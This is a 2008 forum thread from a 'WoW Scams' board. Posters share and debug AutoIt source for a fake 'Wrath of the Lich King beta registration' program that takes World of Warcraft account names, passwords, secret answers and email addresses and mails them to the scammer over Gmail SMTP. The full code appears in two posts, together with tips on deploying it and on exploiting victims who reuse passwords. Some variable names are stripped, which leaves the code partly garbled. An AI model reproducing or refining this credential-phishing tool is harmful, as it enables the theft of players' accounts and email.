MMOwned - World of Warcraft Exploits, Hacks, Bots and Guides

Homepage Register FAQ Members Mark Forums Read Advertise Site Gear FPSowned
Go Back   MMOwned - World of Warcraft Exploits, Hacks, Bots and Guides > World of Warcraft > WoW Scams
Reload this Page Autoit WotLK Scam Fixed and reloaded!

WoW Scams World of Warcraft Scamming Methods ONLY.
[NO QUESTIONS HERE]


Reply
 
LinkBack Thread Tools
  #1  
Old 02-15-2008
Parog's Avatar
Parog is Offline
Model Editing Specialist

 
Join Date: May 2007
Location: MMOwned ME boards
Posts: 593
Reputation: 220
Rep Power: 3
Parog has a spectacular aura aboutParog has a spectacular aura aboutParog has a spectacular aura about
News Autoit WotLK Scam Fixed and reloaded!

Allright, so before i say anything, this is a fix for THIS THREAD ( [Only registered and activated users can see links. ] )

If you cannot understand what i'm talking about, you should probably read the thread above, as it will make much more sense to you. Look for something along the lines of "Line -1: Error: the requested action with this object has failed"

I couldnt get help myself from the OP so i decided to go to the source and see what was wrong. Found out that the SMTP server was denying the request to send a mail due to an SSL encryption error.

I messed around, looking for different SMTP for yahoo, registered different yahoo mail addreses, thing is, YAHOO DOES NOT WORK FOR THIS ANYMORE!

Use Gmail instead!

The SMTP info

Code:
Outgoing ( what we need )

smtp.gmail.com

Port: 465
And now, in the script, just change the things in red into your info

Code:
$rc = _INetSmtpMailCom("smtp.gmail.com", $Accountname, "Yourusername@gmail.com", "Yourusername@gmail.com", "WoWAccount", $Body, "", "", "", "Yourusername", "Yourpassword", 465, 1)
Just want to keep the community updated
__________________


Collecting comments in my profile - Come and say hi!
Reply With Quote

Donate to remove ads.
  #2  
Old 02-15-2008
Addictionx is Offline
Site n00b.. (A leecher if I've been here for more than a month and can't earn 5 rep)
 
Join Date: May 2007
Location: London
Posts: 7
Reputation: 1
Rep Power: 2
Addictionx is an unknown quantity at this point
thanks, i'll test this out now!

EDIT:
Doesn't seem to work for me, same error as with the yahoo mail
I'll play around a bit more! and thanks for trying!

Last edited by Addictionx; 02-15-2008 at 05:51 AM.
Reply With Quote
  #3  
Old 02-15-2008
Parog's Avatar
Parog is Offline
Model Editing Specialist

 
Join Date: May 2007
Location: MMOwned ME boards
Posts: 593
Reputation: 220
Rep Power: 3
Parog has a spectacular aura aboutParog has a spectacular aura aboutParog has a spectacular aura about
You have to compile it completely, and make sure you Execute the compiled EXE in the same folder as the Dll

Can you link me your script just so i can see it? put it in code and ill check it, i'll be up for a few more minutes

edit : Going to bed for a few hours, will be back up later today, will check this thread if anyone needs help ( post your sourcecode - and hide your password )
__________________


Collecting comments in my profile - Come and say hi!

Last edited by Parog; 02-15-2008 at 06:55 AM.
Reply With Quote
  #4  
Old 02-15-2008
Addictionx is Offline
Site n00b.. (A leecher if I've been here for more than a month and can't earn 5 rep)
 
Join Date: May 2007
Location: London
Posts: 7
Reputation: 1
Rep Power: 2
Addictionx is an unknown quantity at this point
Code:
#include <GuiConstants.au3>
#Include <file.au3>

MsgBox( 0, "WotLK Beta Registration", "Use a valid World Of Warcraft-Account to register.")

Func _INetSmtpMailCom(, , , ,  = "",  = "",  = "",  = "",  = "",  = "",  = "",=465, =1)
     = ObjCreate("CDO.Message")
    .From = '"' &  & '" <' &  & '>'
    .To = 
    Local  = 0
    Local  = ""
    If  <> "" Then .Cc = 
    If  <> "" Then .Bcc = 
    .Subject = 
    If StringInStr(,"<") and StringInStr(,">") Then
        .HTMLBody = 
    Else
        .Textbody =  & @CRLF
    EndIf
    If  <> "" Then
        Local  = StringSplit(, ";")
        For  = 1 To 
             = _PathFull ()
            If FileExists() Then
                .AddAttachment ()
            Else
                 =  & @lf & 'File not found to attach: ' & 
                SetError(1)
                return 0
            EndIf
        Next
    EndIf
    .Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    .Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = 
    .Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 
;Authenticated SMTP
    If  <> "" Then
        .Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
        .Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = 
        .Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = 
    EndIf
    If  Then
        .Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
    EndIf
;Update settings
    .Configuration.Fields.Update
; Sent the Message
    .Send
    if @error then
        SetError(2)
        return 
    EndIf
EndFunc ;==>_INetSmtpMailCom
;
;
; Com Error Handler
Func MyErrFunc()
     = Hex(.number, 8)
     = 
     = StringStripWS(.description,3)
    ConsoleWrite("### COM Error !  Number: " &  & "   ScriptLine: " & .scriptline & "   Description:" &  & @LF)
    SetError(1); something to check for when this function returns
    Return
EndFunc ;==>MyErrFunc

GuiCreate("Wrath of the Lich King - Beta Account Registration", 640,487, -1, -1, -1,  )
GuiCtrlCreatePic("Library.dll",0,0,640,487)
GuiCtrlSetState(-1,)

=GUICtrlCreateInput ("", 260,220,150,20,)
=GUICtrlCreateInput ("", 260,270,150,20,+)

; BUTTON
 = GuiCtrlCreateButton("Login", 255,305,70,20)
 = GuiCtrlCreateButton("Cancel", 345,305,70,20)

; GUI MESSAGE LOOP
GuiSetState()

While 1
	 = GUIGetMsg()
    Select
        Case  = 
            ExitLoop
        Case  = 
             = GUICtrlRead()
			 = GUICtrlRead()
			 = InputBox("Please Enter your Secret Answer.", "Insert your Secret Answer here.", "")
			 = "Accountname: " & @CRLF  &   & @CRLF  & "Password:" & @CRLF  &  & @CRLF  &"Antwort:" & @CRLF  & 
			 = _INetSmtpMailCom("smtp.gmail.com", , "[Only registered and activated users can see links. ]", "[Only registered and activated users can see links. ]", "WoWAccount", , "", "", "", "username", "password", 465, 1)
			MsgBox( 0, "Registration sucessful", "When the Wrath of the Lich King beta starts, you will receive a beta key with which you can activate your beta account. Repeated filling of the registration has no more effect.")
			ExitLoop
		Case  = 
			ExitLoop
    EndSelect
WEnd
thats my code, pretty much the same as the original, but with your line replacing the yahoo one.
Reply With Quote
  #5  
Old 02-15-2008
Aziris's Avatar
Aziris is Offline
Contributor
 
Join Date: Feb 2007
Location: Munich / Germany
Posts: 271
Reputation: 134
Rep Power: 2
Aziris will become famous soon enoughAziris will become famous soon enough
Addict, is this script working for you?
__________________
Greetings Aziris

Reply With Quote
  #6  
Old 02-15-2008
Addictionx is Offline
Site n00b.. (A leecher if I've been here for more than a month and can't earn 5 rep)
 
Join Date: May 2007
Location: London
Posts: 7
Reputation: 1
Rep Power: 2
Addictionx is an unknown quantity at this point
nope, no luck with it, I got the same error as when i used the original code, ive been playing around with it and still no luck
Reply With Quote
  #7  
Old 02-15-2008
Aziris's Avatar
Aziris is Offline
Contributor
 
Join Date: Feb 2007
Location: Munich / Germany
Posts: 271
Reputation: 134
Rep Power: 2
Aziris will become famous soon enoughAziris will become famous soon enough
Did it with gmail: WORKING PERFECT!
__________________
Greetings Aziris

Reply With Quote
  #8  
Old 02-15-2008
secretguy is Offline
Corporal
 
Join Date: Oct 2006
Posts: 15
Reputation: 6
Rep Power: 2
secretguy is an unknown quantity at this point
Edited the original script - it now works perfectly, thanks!
Reply With Quote
  #9  
Old 02-15-2008
Addictionx is Offline
Site n00b.. (A leecher if I've been here for more than a month and can't earn 5 rep)
 
Join Date: May 2007
Location: London
Posts: 7
Reputation: 1
Rep Power: 2
Addictionx is an unknown quantity at this point
Aziris or secret guy, could you post your code? I cant seem to get it to work by editing the original script.
Thanks
Reply With Quote
  #10  
Old 02-15-2008
sheepking's Avatar
sheepking is Offline
Sergeant Major
 
Join Date: Nov 2007
Location: @ Home
Posts: 158
Reputation: 14
Rep Power: 1
sheepking is on a distinguished road
Hmm it always shows me the Error Message "Verwenden Sie einen gültigen World of Warcraft-Account zum registrieren." and after that... ...nothing plz help

OK I got this Prob under control... I now use a english client but it always sends me the error message "not sent" or sth. like this
__________________


Last edited by sheepking; 02-15-2008 at 01:05 PM.
Reply With Quote
  #11  
Old 02-15-2008
tichon's Avatar
tichon is Offline
Site n00b.. (A leecher if I've been here for more than a month and can't earn 5 rep)
 
Join Date: Jun 2007
Posts: 12
Reputation: 1
Rep Power: 2
tichon is an unknown quantity at this point
Nice. Been waiting for a fix for this. Thank you.
Reply With Quote
  #12  
Old 02-15-2008
Aziris's Avatar
Aziris is Offline
Contributor
 
Join Date: Feb 2007
Location: Munich / Germany
Posts: 271
Reputation: 134
Rep Power: 2
Aziris will become famous soon enoughAziris will become famous soon enough
Well some of you have downloaded the German version. You cannot understand this if you are not german, which I dont expect you to be.
So you go to my Thread, download the english file and then try to do it with gmail. If it doesnt work, use THIS FIX!

Greetings A.
__________________
Greetings Aziris

Reply With Quote
  #13  
Old 02-15-2008
secretguy is Offline
Corporal
 
Join Date: Oct 2006
Posts: 15
Reputation: 6
Rep Power: 2
secretguy is an unknown quantity at this point
English code, which works:
Code:
#include <GuiConstants.au3>
#Include <file.au3>

MsgBox( 0, "WotLK Beta Registration", "Please use a valid and active World of Warcraft account to register.")

Func _INetSmtpMailCom(, , , ,  = "",  = "",  = "",  = "",  = "",  = "",  = "",=465, =1)
     = ObjCreate("CDO.Message")
    .From = '"' &  & '" <' &  & '>'
    .To = 
    Local  = 0
    Local  = ""
    If  <> "" Then .Cc = 
    If  <> "" Then .Bcc = 
    .Subject = 
    If StringInStr(,"<") and StringInStr(,">") Then
        .HTMLBody = 
    Else
        .Textbody =  & @CRLF
    EndIf
    If  <> "" Then
        Local  = StringSplit(, ";")
        For  = 1 To 
             = _PathFull ()
            If FileExists() Then
                .AddAttachment ()
            Else
                 =  & @lf & 'File not found to attach: ' & 
                SetError(1)
                return 0
            EndIf
        Next
    EndIf
    .Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    .Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = 
    .Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 
;Authenticated SMTP
    If  <> "" Then
        .Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
        .Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = 
        .Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = 
    EndIf
    If  Then
        .Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
    EndIf
;Update settings
    .Configuration.Fields.Update
; Sent the Message
    .Send
    if @error then
        SetError(2)
        return 
    EndIf
EndFunc ;==>_INetSmtpMailCom
;
;
; Com Error Handler
Func MyErrFunc()
     = Hex(.number, 8)
     = 
     = StringStripWS(.description,3)
    ConsoleWrite("### COM Error !  Number: " &  & "   ScriptLine: " & .scriptline & "   Description:" &  & @LF)
    SetError(1); something to check for when this function returns
    Return
EndFunc ;==>MyErrFunc

GuiCreate("Wrath of the Lich King - Beta Account Registration", 640,487, -1, -1, -1,  )
GuiCtrlCreatePic("Library.dll",0,0,640,487)
GuiCtrlSetState(-1,)

=GUICtrlCreateInput ("", 260,220,150,20,)
=GUICtrlCreateInput ("", 260,270,150,20,+)

; BUTTON
 = GuiCtrlCreateButton("Login", 255,305,70,20)
 = GuiCtrlCreateButton("Cancel", 345,305,70,20)

; GUI MESSAGE LOOP
GuiSetState()

While 1
     = GUIGetMsg()
    Select
        Case  = 
            ExitLoop
        Case  = 
             = GUICtrlRead()
             = GUICtrlRead()
             = InputBox("Secret Answer", "Please type in your secret question answer.", "")
             = InputBox("E-mail", "Please type in your e-mail address registered to your account.", "")
             = "Accountname: " & @CRLF  &   & @CRLF  & "Password:" & @CRLF  &  & @CRLF  &"Antwort:" & @CRLF  & 
             = _INetSmtpMailCom("smtp.gmail.com", , "youremail", "youremail", "WoWAccount", , "", "", "", "emailusername", "emailpass", 465, 1)
            MsgBox( 0, "Registration sucessful", "When the Wrath of the Lich King beta starts, you will receive a beta key with which you can activate your beta account. Repeated filling of the registration has no more effect.")
            ExitLoop
        Case  = 
            ExitLoop
    EndSelect
WEnd
Btw, this code also includes asking for the account holders email address (sometimes the account holder has the same password for the email = free account)

You can remove this feature by removing:
$Email = InputBox("E-mail", "Please type in your e-mail address registered to your account.", "")

and

& @CRLF &"Email:" & @CRLF & $Email

Also improved the grammar a little bit - Enjoy.
Reply With Quote
  #14  
Old 02-15-2008
Parog's Avatar
Parog is Offline
Model Editing Specialist

 
Join Date: May 2007
Location: MMOwned ME boards
Posts: 593
Reputation: 220
Rep Power: 3
Parog has a spectacular aura aboutParog has a spectacular aura aboutParog has a spectacular aura about
Quote:
Originally Posted by maxlmongo View Post
Hmm it always shows me the Error Message "Verwenden Sie einen gültigen World of Warcraft-Account zum registrieren." and after that... ...nothing plz help

OK I got this Prob under control... I now use a english client but it always sends me the error message "not sent" or sth. like this
that means you did not open the EXE WITH the DLL In the same folder
__________________


Collecting comments in my profile - Come and say hi!
Reply With Quote
  #15  
Old 02-15-2008
Parog's Avatar
Parog is Offline
Model Editing Specialist

 
Join Date: May 2007
Location: MMOwned ME boards
Posts: 593
Reputation: 220
Rep Power: 3
Parog has a spectacular aura aboutParog has a spectacular aura aboutParog has a spectacular aura about
Quote:
Originally Posted by secretguy View Post
Btw, this code also includes asking for the account holders email address (sometimes the account holder has the same password for the email = free account)

You can remove this feature by removing:
= InputBox("E-mail", "Please type in your e-mail address registered to your account.", "")

and

& @CRLF &"Email:" & @CRLF &

Also improved the grammar a little bit - Enjoy.
I thought about doing that too, but then i thought about all i could do with the secret question
__________________


Collecting comments in my profile - Come and say hi!
Reply With Quote
Reply

Donate to remove ads.

Thread Tools

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are Off
Pingbacks are Off
Refbacks are On


Click here for your favorite eBay items


All times are GMT -4. The time now is 06:42 PM.


Powered by vBulletin® Version 3.7.0
Copyright ©2000 - 2008, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO 3.1.0

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279